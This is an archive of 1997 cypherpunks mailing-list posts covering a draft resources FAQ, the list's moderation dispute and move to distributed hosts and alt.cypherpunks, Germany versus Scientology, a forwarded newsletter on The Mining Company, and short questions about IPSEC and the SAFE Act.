/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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=Jtwu
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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 11 Feb 1997 14:31:56 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: NETLINK_IPSEC
In-Reply-To: <199702111411.GAA19349@toad.com>
Message-ID: <199702112231.XAA26149@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

> Has anyone tried IPSEC with the 2.1.x kernels?  Are there a logcation that
> describes the differences between 2.0.x and 2.1.x?  (I have not been able to
> find one...)  Then again, I have yet to find a list of what was fixed from
> kernel to kernel...  (Probibly in some directory of the tar file...)


Source 1:  ftp://ftp.shout.net/pub/users/mec/kcs

Source 2:  The patch files.  :-)


Regards,

Bryce, not a kernel hacker

PGP sig follows




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Tue, 11 Feb 1997 22:27:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks-resources FAQ for alt.cypherpunks
Message-ID: <199702120614.AAA02312@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


I am under the assumption that alt.cypherpunks or
alt.privacy.cypherpunks or some such will come into existence shortly.

With that in mind, I have decided to create a FAQ of pointers to
resources on cypherpunk issues.  The goal is to help eliminate the
"What is PGP?" and other newbie-questions that are bound to come up
even more frequently in a newsgroup scenario.

A FAQ such as this has probably long been appropriate, but it didn't
really occur to me until just now.  Not being a cryptologist or
adequate coder, this is one way I feel I can contribute.  It's hard to
have discussions when people haven't even looked at the background
information before piping in.  I don't pretend that a FAQ can prevent
this, but it's worth a shot anyway.

I started typing away about two hours ago and came up with the
following.  It's pretty shaky since it's late and it's Mardi Gras.
Feel free to comment in public or private.  Please, Please, Please
make suggestions and provide relevant pointers.  Obviously, I will be
doing a lot of research over the next few weeks to fill in this very
bare outline.

If you disagree with this or feel its useless... fine.  Please tell me
and explain all your reasons why.  Besides, I'm doing it regardless.

Here's what I'm chewing on so far....
-----------------------------------------------------------------------
			Cypherpunks Resources FAQ
			     version 0.000000001

This document lists resources for readers interested in Cypherpunk
issues and goals.   

The primary intention of this document is to get new readers to the
group to explore the background issues which cypherpunks attempt to
address.  It also includes pointers to many common cryptographic
implementations and tools.  Furthermore, pointers and instructions for
various mailreaders are provided to help users filter out some of
Usenet's inevitable noise and glean the most useful information they
can from this newsgroup.

This FAQ does not attempt to explictly define who the Cypherpunks are
or answer questions about the philosophy.  That is an exercise for the
reader who utilizes the pointers within to find the answers on their
own.  After exploring these resources, the hope is that the reader
will become a more effective and insightful contributor to
alt.cypherpunks -- even if he/she is opposed to the goals of the
group.

This FAQ is propagated monthly to alt.cypherpunks.  It can also be
obtained be sending email with the subject and/or body "get cpunks
faq" to omegam@cmq.com.  When information in the FAQ is updated, I
will also post a "what's new" message for those who are interested in
reading additions/corrections without wading throught the entire FAQ
again.


-------*********------- Author's Note/Disclaimer ---------*********--------- 

I maintain this FAQ solely on a voluntary basis.  I am doing this
because I think it is necessary.

It would be contrary to the anarchic nature of the Cypherpunks to
attempt to call this an official FAQ of the Cypherpunks group.  Anyone
who disagrees with the editing decisions and pointer selections I have
made in this FAQ is free to.

What this means is that you are encouraged to send comments,
suggestions, corrections, new questions, and answers to me.  I may or
may not include them in future revisions of the FAQ.  I do ask that
somewhere in the subject of your mail redarding this FAQ you include
the text "(CFAQ suggest)", so procmail can file such comments
appropriately and I can address them in a more efficient manner.  If I
use your suggestion or answer to a question, I will attribute the
reference to you unless you request that I do not.

You are free to create your own Cypherpunks-resources FAQ if you don't
like mine.

- Scott
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________

-------*********--------*********---------********--------*********------
 
Premliminary Outline

Section 1 Introduction and General Information?
Q1.1 Does this newsgroup have a charter (No but, Tim's "official" charter.
Eric's note at end of original toad.com welcome message)
Q1.2 How did the group get started?  (Need a brief history of group as
well as any pointers to early history information and posts, also
include pointer to early wired article)
Q1.3 What do Cypherpunks want? (May's Cyphernomicon, CSUA Berkely
site, Others?)
Q1.4 What happened to the toad.com mailing list?  Are there archives?
(Brief explanation, quote Gilmore's message? point to the usual
archives?  Note: check and note if arhive site still prevents IE
usage)
Q1.5 Are there other groups besides Cypherpunks who share these goals.
(point to Epic, EFF, etc sites which all have good archival
information on political crypto causes even if many cpunks have strong
disagreement with some of these groups.  also point to
Cryptography@c2.net and coderpunks lists)
Q1.6 What have the cypherpunks done to advance their goals other that
merely talk about them?(Pointers to anon remailers, Linux-IPSEC
project, Mykotronx scandal--really need a good pointer here, more.
Mention of course that many who call themselves cypherpunks are
professionals in the computer security field.)
Q1.7 Im interested, what can I do?  Pointers to current projects, i
distributed DES crack
Q1.8 Quick n' Dirty Glossary: ie. GAK, TLA, etc.

Section 2 Crypto in Action
Q2.1 Pointers galore to PGP resources.
Q2.2 Point to Schneir's site and include biblio info on Applied Crypto
Q2.2 Point to cryptlib toolkits
Q2.3 RSA, of course.
Q2.4 pointers to disk encryption utilities for various platforms
Q2.5 pointers to Raph's remailer site and other remailer info sites.
remailer software.  software to make remailer usage simpler
(premail, PIdaho)
Q2.6 pointers to the various digital cash purveyors and to
explanations of how Chaumian digital cash works.
Q2.7 pointers to Apache-SSL site and info, Stronghold, 
Q2.8 SSH
Q2.9 Pointers to sites describing how various types of crypto actually
work
Q3.0 But how do I know if it's good crypto?  Point to snake Oil FAQ?
Schneir's essay.  Use your brain.

Section 3 Crypto and the Law
Q3.1 Froomkin's site obviously.. John Young's also obvious.  EFF has a
good archive too.  Karn case, others.
Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR
Q3.3 Pointers past Clipper failure info.

Section 4 Who's who & (recent) History of Crypto.
Q4.1 A couple of good general history sites exist. also Codebreakers
bibliographical reference.
Q4.2 Enigma is a common question, point to relevant sites.
Q4.3 Whit Diffie--some interviews etc are available
Q4.4 Bruce Schneir same
Q4.5 Phil Z and PGP history and interviews.
Q4.6 Jim Bizdos
Q4.8 Dorothy Denning (go to include the enemy too)
Q4.7 Pointers to news on breaks of ciphers
Q4.8 NSA site.
(Others?  I'm getting sleepy, names escaping me at the moment)

Question 5 Help! I want to know more but I'm drowning in noise
Q5.1 Point to filtered lists in existence
Q5.2 news2mail gateways as source of list.  mail filtering tools come
into good use.  point to a bunch of them.
Q5.3 Point to kill-file info for various newsreaders and platforms.
Possibly include generic examples from own experience and list user's
experience who wish to contribute.  Specific names will be ommitted of
course.  Also score information for those interested
Q5.4 point to information on other utilities and verification-type schemes



_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 21:24:41 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Germany Versus Scientology
In-Reply-To: <Pine.BSI.3.91.970211162658.4364B-100000@kizmiaz.dis.org>
Message-ID: <0n0J_f200YUg0KazU0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Evil se7en <se7en@dis.org> writes:
> I have posted a rather lengthy story about Germany's war against the 
> Scientologists. It was long enough to preclude mailing it directly to the 
> lists, so I have put it on my web site. You may find it at:
> 
>         http://www.dis.org/se7en/
> 
> with the link being directly under the large "X." I decided to post it 
> for the reasons that I know several people who suffered directly at the 
> hands of the Scientologists after trying to infiltrate their organization 
> via the Internet. These people will recieve this message due to this 
> posting. Enjoy.

Heh, the top German Gov't anti-$cientoligist:
"The state is obliged to protect its citizens from totalitarian
 organizations."

I just love this whole thing. It's like two neighborhood bullies going
at it in the school yard. It doesn't matter who wins, as long as it's
long and bloody.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 21:49:43 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Cocksucker Gilmore's Big Adventure
In-Reply-To: <199702120040.SAA06406@wire.insync.net>
Message-ID: <0n0JV2200YUg0Kakg0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Eric Cordian <emc@wire.insync.net> writes:
> A Gilmore Supporter writes:
> 
> > You know, I was vaugley offended by John's comments about whiny
> > cypherpunks, until I read this message and realized who he was talking
> > about. John, thank you for your years of service to the cypherpunk
> > community 9such as it is), 
> 
> John Gilmore's only contribution to Cypherpunks has been to provide
> a box.  I can't even remember the last time he contributed something of
> interest to the list, and he certainly ranks as one of the least
> frequent contributors of substance over the years. 

You have obviously never administered a Unix system. Just runing a
machine with a few users requires some effort, I've done it. Managing
a mailing list, especially one this immensly huge, has got to be one
of the bitchliest things on earth. If you think running a majordomo
for cypherpunks is just a matter of "providing a box," why don't you
try it?

> > and Sandy, thanks for your well-intentioned
> > (but doomed from day one) efforts to take some resopnsibility for our
> > current mess. It's too bad things had to end in such a pissy way, but
> > anyone who wants to dole out blame should realize that in an anarchy,
> > all members are responsible for the maintainence of freedom.
> 
> Sandy, unlike Herr Gilmore, has been a major contributor of substance
> to the list since its inception, and hopefully he will continue to be
> in the future.  The idea that he should moderate the list was of
> course a silly one, but for reasons which do not reflect badly on him
> in the least.  
> 
> What Mr. Blatz fails to realize is that the "problem" which certain
> people tried to solve never really existed.  The quality of the
> Cypherpunks list is determined solely by the amount of signal, not
> by the amount of noise, unless one is getting ones feed of the 
> list via 1200 baud long distance UUCP.  

RTFM well-intentioned. And please excuse my lack of gratuitous "scare
quotes." (There, is that better?) List members complained. John said
there was a problem, Sandy belived him and foolishly volunteered to
"moderate" (enough scare quotes for you?) the list.

Maybe John has grown into a crumudgen after his years of taking care
of toad.com, but he's all but out of the picture now. At least he had
the common sence to realize that he was not able to run the list in an
appropriate manner and force a carthises. Better that then to let the
list die out from continuing moderation.

> The notion that the list was ever threatened by the humour of Dr. 
> Vulis, or the one line bot-spammed insults about Tim May's heritage,
> is an absurd one.  No one should have had any problem ignoring such
> material, and only a politically naive fool would buy this as the
> excuse for the blatant usurpation of the list by Gilmore and crew. 

Agreed. I do, after all, read the "unfiltered" list. But you have no
right to tell Mr. Gillmore what to with his machine and his time.
Perhaps 10 days is not enough to get a smooth transition to another
system, but it does have the nice effect of moving people to action.
You could take a look at the literature on social loafing for a full
explanation.

Cordially,
Jeremiah Blatz

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 23:14:37 -0800 (PST)
To: gbroiles@netbox.com (Greg Broiles)
Subject: Re: List for discussing many majordomos
In-Reply-To: <3.0.1.32.19970211224603.00699d78@mail.io.com>
Message-ID: <199702120659.AAA00679@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Greg Broiles wrote:
> At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote:
> 
> >We can coordinate our efforts. Actually, we can even have a mini
> >mailing list for people who want to participate in the distributed
> >cypherpunks experiment. If there is any interest, I can create such 
> >a list.
> 
> Yes, this is a good idea. One of the proponents of the "many majordomos"
> project apparently has plans to impose his own ideas about intellectual
> property on the project, and this seems like a pretty serious thing for a
> setup that's allegedly going to prevent censorship. We need a place to
> discuss this.

I have acreated a mailing list, cypherpunks-hosts@algebra.com,  for
people interested in participating in the multi-homed cypherpunks list.
You can subscribe to cypherpunks-hosts by talking to
majordomo@algebra.com.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Tue, 11 Feb 1997 23:19:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto: Job Opportunity
Message-ID: <3.0.16.19970212011421.2b174ef4@mailhost.primenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The Mining Co. (http://www.miningco.com) is looking
for "siteguides".

There will surely be a guide needed for cryptography.

Pay is commensurate with hit volume, but it isn't too shabby,
at about 3K per month after about a year.

There is the original posting from Sideman's Online Insider following
this post to acquaint you with the particulars.

Good Luck to whomever from this list (for I'm sure someone will) 
takes the aformentioned position. I would, but I'm applying for a 
different site in the Culture/Beliefs section.

On one other note, the PGP Plugin for Eudora is MARVELOUS!
THIS I can even teach a clueless newbie!

Carol Anne Cypherpunk
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==========================================================================
                Seidman's Online Insider - Vol. 4, Issue 6
     Brought to you by NetGuide Magazine< http://www.netguide.com >
==========================================================================

Copyright (C) 1997 Robert Seidman and CMP Media Inc.  All rights reserved.
May be reproduced in any medium for noncommercial purposes as long as
attribution is given.


Kurnit is Back and Mining the Internet
======================================

  "Like Arnold, he'll be back. I've been listening to what
he has to say for a long time. If you listen to him, you'll
hear how the Web is the way and that the proprietary services
are a dead model. If you listen between-the-lines, you'll hear
a modified version of that vision. A best of both worlds
vision. You'll hear that he wants to develop easy to use,
functional services on the Web. Like easy to use chat.
Like easy to use bulletin boards.

Like AOL, but on the Web."

-Thoughts on Scott Kurnit in a piece regarding the failed MCI/News Corp
joint venture from Seidman's Online Insider for the Week Ending February
9, 1996.

Kurnit's back, and almost exactly a year to the day since the clip above
was written.  On Monday February 10, the new company Kurnit founded, The
Mining Company, will announce their plans to basically build AOL on the
Web.  I'm not sure about the choice of February 10 as the day to announce
this.  It is a day with special significance for me.

On February 10, 1972 I had a dilemma.  I was hungry for breakfast and
wanted some cereal.  I had cereal, but no milk.  So I called my mom at
work and asked her if I could run across the street to the convenience
store.  My mom said no because "the street" was more like a highway and
because I was 9 years old.

"You'll get hit by a car," my mom said.  As you might imagine, I went
anyway.  And as you also might have guessed by now my mother was right,
except no car was good enough for me.  I had to face off with a
ten-wheeler (it was an Amoco < http://www.amoco.com > Oil tanker.)
Twenty-two stitches in the head, a healed broken wrist and 25 years later,
I'm still hanging in there.  I don't remember anything about it, including
seeing the truck.  I've always wondered if I was pushed.  What I do
remember was waking up in the ambulance with quite a headache.  But since
then, seeing how I lived and all, I've always viewed February 10 as a GOOD
day.

The Mining Company may not be a truck setting its sights on running down
AOL or even other Web content aggregators (even to some degree NetGuide
Live), but it is an interesting model.

*What It Is*

In effect, The Mining Company wants to be the biggest online service on
the Web, ultimately offering 4,000 special-interest areas in an
integrated, easy-to-use interface.  Whether you call these special areas
channels, departments or categories -- it's all the same thing.  Kurnit
wants to capitalize on the fact that it takes too long to find what you
want on the Net.  He wants to put it all in one place with one consistent
interface so that you can easily find what you're looking for and interact
with those who have common interests.

Each "channel" will have content, bulletin boards, online chats, links to
other good stuff on the Web in the particular area of interest.  You'll
also be able to search a site via Verity's search engine or search the
entire Net via Digital's Alta Vista.

While they are currently testing another chat product, they have decided
to move to the iChat chat client.

In the test system I had access to, the bulletin board system was very
easy to use, but painfully slow.  I'll cut them some slack since they are
still in beta, but users will need to be able to move around the boards
quicker than what I experienced or they will likely be put off.

*And Now for Something Really Different*

When Kurnit first ran the vision by me a couple of weeks ago, I said "To
me it seems like this is..."

"AOL on the Web," Kurnit interrupted.

"Not exactly," I said, "It's like AOL on the Web with a hint of Amway
thrown in."

One of the problems with providing editorial context for the Net is that
it winds up costing a lot of money.  Kurnit's previous venture with
MCI/Newscorp was iGuide.  They built a great guide to the Net, but
ultimately they scaled it back to just become a guide to entertainment on
the Net.  You've read the reports all over the place about scaled back
editorial efforts and rightsizing.  Good editorial doesn't come cheap, at
least not when done traditionally.

The Mining Company isn't going after the traditional model of hiring a
bunch of full-time editors and bringing them in house.  They plan to use
folks already out there on the Net.

Once upon a time while I was at IBM, I helped recruit Chris Locke, of
MecklerWeb notoriety away from the MCI/News Corp effort Kurnit was
running.

While there are many things Chris and I do not agree on, I was very much
in synch with Chris when it came to the idea of communities of interest on
the Web.  Give remote people the tools to produce the content, Locke would
say, and you'd be able to easily build hundreds if not thousands of
communities of interest very inexpensively.  Locke who is now with a
hardware company in Colorado will no doubt take interest in what Kurnit
and the gang at The Mining Company are up to, because they are all about
providing the tools to produce the communities of interest inexpensively!
If your chosen as one of its forum moderators (they call them Guides),
you'll be given access to all the tools you need to build a site on the
service.

Now you may be thinking, "Ah, GeoCities does that already!"  GeoCities
< http://www.geocities.com > gives free web pages and is organized around
certain communities of interest.  But their homesteader program is not
about setting up an all-encompassing online service.  And while it is a
great place to create a free web page, there's no real business model for
the person creating the page.  If you build a great site there, GeoCities
gets the revenue on all the traffic that goes there.  Because it has a lot
of traffic, GeoCities can send some traffic to your Web site.  But in the
end, the model for GeoCities is one to give you a free page on the Web.
This is good for you if you're just in it for the fun of it, and good for
GeoCities too.   I think GeoCities is great, but if I am looking for
something in particular, I wouldn't think to look there first.  The Mining
Company wants to create a space that no matter what it is you hope to
find, you'll look there first.

*They Call them Guides*

The Mining Company wants to create quality communities of interest.  And
for every community (channel) created, there will be a unique
moderator/editor.  The Mining Company calls them Guides.  It's looking for
more than just a few quality folks to become Guides and form their
service.  Starting Monday, they will begin accepting applications to
become Guides on the  service. There could be multiple sites about the
same thing during the start-up phase, but  ultimately it will be whittled
down to one Guide/site per special interest.

To ensure quality, they'll be a review committee set-up to make sure
quality standards are up to snuff, including some folks from the community
of Guides.  Kurnit believes between that, the natural inclination for
other Guides to point out areas of, um, weakness and user feedback,
they'll have a good handle on quality.

Additionally, there will be some in-house editorial to oversee major
groupings (like Technology, Personal Finance, etc.)

"The Mining Company is dedicated to serving the needs of its Guides and
users," said Kurnit.  "We give the tools and support to the Guides to help
users find what they want, trust what they find, and connect them with the
most valuable sites on the Net and with other interesting people."

"This model is now only possible because of the team effort at The Mining
Company to integrate the latest improvements in Internet technology and
the newly identified needs of users and independent Web producers," adds
Kurnit.


*Getting the Guides*

Will it be easy to get the ultimately thousands of Guides necessary to run
this service?

"How much talent is out there," asks Kurnit.   "We look at the thousands
of pages out there on AOL, GeoCities, etc., and the rest of the Internet,"
Kurnit said.  "All we think we need to get is 2%-3% of the talent pool."

In certain areas it will likely be very competitive.  Everyone will want
to get there first.

"First there's the application process," said Scott Kurnit in a phone
Interview.  "You're going to show us your bio and you're going to write
some columns so we can see your writing style.  If you make the grade, you
make it to our orientation process," Kurnit said.

The Mining Company places its focus on training the Guides and giving them
the tools they need to make a site.   If you "make the grade" you
basically have 3 weeks (2 of which are the "orientation") to get a site
up-and-running on the service.

"The fact is, if you can't get it done in a reasonable time then you
probably don't have the dedication or time to get it done," says Kurnit.

Just how much time will it take for Guides to put together sites?  "We're
not looking for anyone to quite their day jobs," said Kurnit.  "We're
looking at about a 10 hour a week commitment to produce the sites."  But
Kurnit also says  that though there will be only one Guide per site, the
Guides will be able to line up assistants.



*What's in it for You?*

So why The Mining Company then?   Why not GeoCities or doing it on your
own?  Well, there are a couple of reasons.  One is the promise of
exposure, the other is the promise of MONEY.

There is a model here, especially if you're not looking to quit your day
job.  While I imagine it will have to shift its model somewhat, there are
some opportunities to make a buck or two for the Guides.  It might not be
much money, but if you're already throwing 10 hours or so a week towards
maintaining a Web page that lines up around a special interest or two, any
money is better than what you're probably getting now.

Basically, The Mining Company is looking to allocate 40% of all
advertising revenues back to the Guides themselves.  The real pool here is
30%, with the additional 10% being used for things like bonuses.  So, how
does it work?

Kurnit is looking to get quickly to a million or so page views a day (each
of the pages I saw had 2 advertisements.  By the end of the year, Kurnit
hopes to be in the 10 million - 15 million page views.  It sounds a little
ambitious, but if they're successful lining up quality Guides, it could
become a reality.  So let's say they're getting 5 million page views per
day.  Based on what I saw, that would net out to be about 300 million ads
running per month.

Lets say ad sales average out to $30/1000 (a $30 CPM).  Based on that,
you're looking at a cool $9 million a month in advertising revenue.  So
$3.6 million is in the Guide pool, but only $2.7 million is for the true
revenue split.  Now, let's say you're a Guide who got one-tenth of 1
percent of The Mining Company's overall traffic. You'd make a cool $2,700
a month for your efforts.  If you happen to be a guide in one of the
"killer categories" whether it be a parents site or a kids site or a
computing site, it's not unreasonable to think that you might get as much
as 1%.  That would be $27,000 per month!!

Some people will balk at the 40%-60% share, but I think that's pretty
fair.  Where I'd predict the model will have to change, however, is in the
cases where the cost per thousand (CPM) view being charged the advertisers
is much higher than the average of the overall site.  If the overall site
average is $30/1000, but your site is generating a CPM of around $90,
you're probably not going to want to be paid based on averages.

*Will it Work?*

In short, I think this could work quite nicely.  The premise of a front
door that links to content that is all packaged with a consistent look and
feel is a winning premise.   With AOL's recent move to flat-fee, one big
advantage a Net service has over a proprietary model like AOL is the
ability to create content far more easily and inexpensively. Much coverage
has been given this week regarding AOL beginning to charge its partners in
its Company Connection a $55,000 fee each year to participate.

Some in AOL are saying its reasonable since the areas amount to "free"
advertising for the companies, but realistically speaking, I think it is a
maintenance fee AOL is charging to offset the cost of dealing with these
forums.  I think it is reasonable to expect to see AOL begin to charge
similar fees for any content that isn't "must have" for them, now that the
hourly charges that once subsidized these areas are gone.  There is a cost
of throwing in-house support at these online areas and much of the cost is
due to the fact that it's a proprietary system.  Setting up new "forms"
and new looks just isn't easily accomplished by the content providers
themselves.  So, the timing may be good for The Mining Company.

There are at least two tricks Kurnit and Co. must pull off.  First, they
have to get the Guides.  That starts on Monday, when they begin accepting
applications.  The next will be to market the site in a way that gets
people to the front door.   Internet of the people, for the people and by
the people, it has a nice ring to it...  I'm sure we'll hear more about
this when the site officially launches in April.

For more info, check out < http://www.miningco.com >, sometime on Monday,
they will make a lot more information available there than the "coming
soon" that was there as of this writing.
Member Internet Society  - Certified BETSI Programmer  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.42.112.96
My Homepage
The Cyberdoc
***********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trust Me <trustme@dev.null>
Date: Tue, 11 Feb 1997 23:35:24 -0800 (PST)
To: Anil Das <das@razor.engr.sgi.com>
Subject: Re: whois cypherpunks.org ?
In-Reply-To: <9702111643.ZM18@razor.engr.sgi.com>
Message-ID: <33018CAD.2612@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das wrote:
> Both cypherpunks.org and cypherpunks.com are registered by one
> Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list
> though. Anybody knows more about this?

Anil,
  Just because Ft. Meade, MD, is the home of several billion government
subversive organizations is no reason for suspicion.

Trust Me





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trust Me <trustme@dev.null>
Date: Wed, 12 Feb 1997 00:20:00 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Network of majordomos
In-Reply-To: <3.0.32.19970211162813.006de930@mail.io.com>
Message-ID: <330190FF.232B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> I sent a proposal to alt.config last night and intend to newgroup 
> alt.cypherpunks in a week or so

  Is this a follow-up to your suggestion to kill the list?
  The list that you stated you were leaving because you don't
think it's worthy of subscribing to?
  Is there any particular reason you want to redirect the future
of a list that you want killed and no longer want to subscribe to?

  Just asking.

Trust Me (<--shouldn't this be 'your' sig?)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 12 Feb 1997 00:21:39 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: List! No Way: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <0n0Lk8200YUd18lWc0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"Timothy C. May" <tcmay@got.net> writes:
> At 7:11 PM +0000 2/11/97, Attila T. Hun wrote:
> >    I vote we just set up a new majordomo with some additional antispam
> >    filters including knocking out exploding mail headers, etc. I would
> >    accept excluding non-members as long as we take the remailers which
> >    are listed with either JP or RL.
> 
> This is a suggestion I have long thought to be a good one. Only allow posts
> from list subscribers, and make a special exception for remailers by adding
> them to the approval list. Figure if a spammer is smart enough to know what
> a remailer is, at least see her traffic for a while. Drop the inclusion of
> remailers if volume is too high.

A couple of "me too"s:
Low volume spam via remailers increases the strength of the remailer
net. Yay!
Not allowing non-subscribers to post is not a problem is the mailing
list is linked to the usenet version. The people who read/post to
cypherpunks via a newsgroup interface now can just use the real
newsgroup. Also, people who don't get alt.* and don't want to use
dejanews can sub to the list version.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Aaron D. gifford" <agifford@infowest.com>
Date: Wed, 12 Feb 1997 02:16:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Any info on Rep. Goodlatte's SAFE act?
Message-ID: <3.0.1.32.19970212031634.006ad598@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have any information on Congressman Goodlatte's S.A.F.E. act?

Aaron out.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 02:05:18 -0800 (PST)
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702062136.VAA00239@server.test.net>
Message-ID: <199702120947.DAA01858@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Adam Back wrote:
> 
> 
> Igor Chudov <ichudov@algebra.com> writes:
> > so we have myself, Jim Choate, and you who colunteer to host
> > mailing lists for the distributed cypherpunks.
> > 
> > I have already created majordomo@algebra.com and cypherpunks@algebra.com.
> > 
> > We can coordinate our efforts. Actually, we can even have a mini
> > mailing list for people who want to participate in the distributed
> > cypherpunks experiment. If there is any interest, I can create such 
> > a list.
> 
> Please do.

The list is called cypherpunks-hosts@algebra.com. 

Use majordomo@algebra.com to sub-scri-be.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "NetSurfer" <netsurf@pixi.com>
Date: Wed, 12 Feb 1997 08:14:20 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: Military/Intelligence URL
Message-ID: <199702121614.GAA22546@mail.pixi.com>
MIME-Version: 1.0
Content-Type: text/plain



You can also get there with http://www.sagal.com/ajax/ which is the root
frames page for the url you give below

----------
From: harka@nycmetro.com
Here an page, that deals with various intelligence and military
institutions...
 In> http://204.180.198.56:80/ajax/ajax.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 06:40:10 -0800 (PST)
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: New group
In-Reply-To: <33019178.58622842@news.demon.co.uk>
Message-ID: <3301D5FE.26F7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:
> Well despite the obvious problems of propogation I thought it was time
> someone actually did something to get us a new home, even if it`s only
> temporary. So I have created alt.cypherpunks... See you all over on
> usenet!...

I pressed the URL alt.cypherpunks and my Netscape server said
"no such thing" or words to that effect.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 06:51:53 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Germany Versus Scientology
In-Reply-To: <Pine.BSI.3.91.970211162658.4364B-100000@kizmiaz.dis.org>
Message-ID: <3301D8B7.4F35@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz wrote:
> Evil se7en <se7en@dis.org> writes:
> > I have posted a rather lengthy story about Germany's war against the
> > Scientologists. It was long enough to preclude mailing it directly to the
> > lists, so I have put it on my web site. You may find it at:

> Heh, the top German Gov't anti-$cientoligist:
> "The state is obliged to protect its citizens from totalitarian
>  organizations."
> I just love this whole thing. It's like two neighborhood bullies going
> at it in the school yard. It doesn't matter who wins, as long as it's
> long and bloody.

If it were "just bullies", we could all sleep easier at night.
Alas, this is the next-generation manifestation of the anti-anti-
Holocaust laws that have been in place for 40-50 years in Germany.

There must be other countries with strong legal traditions similar
to this one.  Makes the picture much more complex.  And don't forget,
the conditions of Scientology's new tax exempt status are still secret.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 12 Feb 1997 06:55:54 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: whois cypherpunks.org ?
Message-ID: <3.0.32.19970212065157.006f2d7c@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 08:04 PM 2/11/97 -0500, John Young wrote:

[Trying whois]

